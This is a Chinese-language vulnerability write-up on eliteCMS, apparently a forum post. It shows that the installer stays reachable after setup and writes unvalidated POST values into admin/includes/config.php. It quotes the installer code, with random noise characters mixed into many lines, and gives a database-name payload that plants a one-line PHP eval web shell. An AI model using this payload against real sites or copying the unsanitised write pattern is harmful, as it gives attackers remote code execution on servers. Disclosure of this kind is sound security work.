eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
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另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：
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2 x7 v: J9 [1 L...
elseif ($_GET['step'] == "4") {
' I/ I+ b( F& X+ {' S+ Y    $file = "../admin/includes/config.php";
    $write = "<?php\n";
    $write .= "/**\n";
    $write .= "*\n";
9 L$ R# I. w9 ?' u+ r  k    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
( P# L* Y5 V$ O% ^...略...
    $write .= "*\n";
    $write .= "*/\n";
    $write .= "\n";
4 b! a& Z) D6 }8 o$ Z) I! T) Z. x    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
3 {3 r  W9 G) s' @    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
* n( o" @3 e2 @) v    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
& X, A5 I# B6 t2 W+ a+ {    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
( X2 z' K9 }7 d) q* r6 V    $write .= "        \n";
    $write .= "} \n";
  c. R! O) V. m3 @    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
    $write .= "?>\n";
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0 m/ o  J8 ]0 x3 L; F    $writer = fopen($file, 'w');
...
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在看代码：

0 J+ o# z* {2 v% o' k+ ?$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
/ l7 T; k8 l& I$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
( k: E/ W& |, {  U$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
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* ^1 x& i" q' f取值未作任何验证
- b; Q) D& V& ?4 [7 C9 H如果将数据库名POST数据：
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"?><?php eval($_POST[c]);?><?php

2 }( C% X8 f  }/ }6 q7 \将导致一句话后门写入/admin/includes/config.php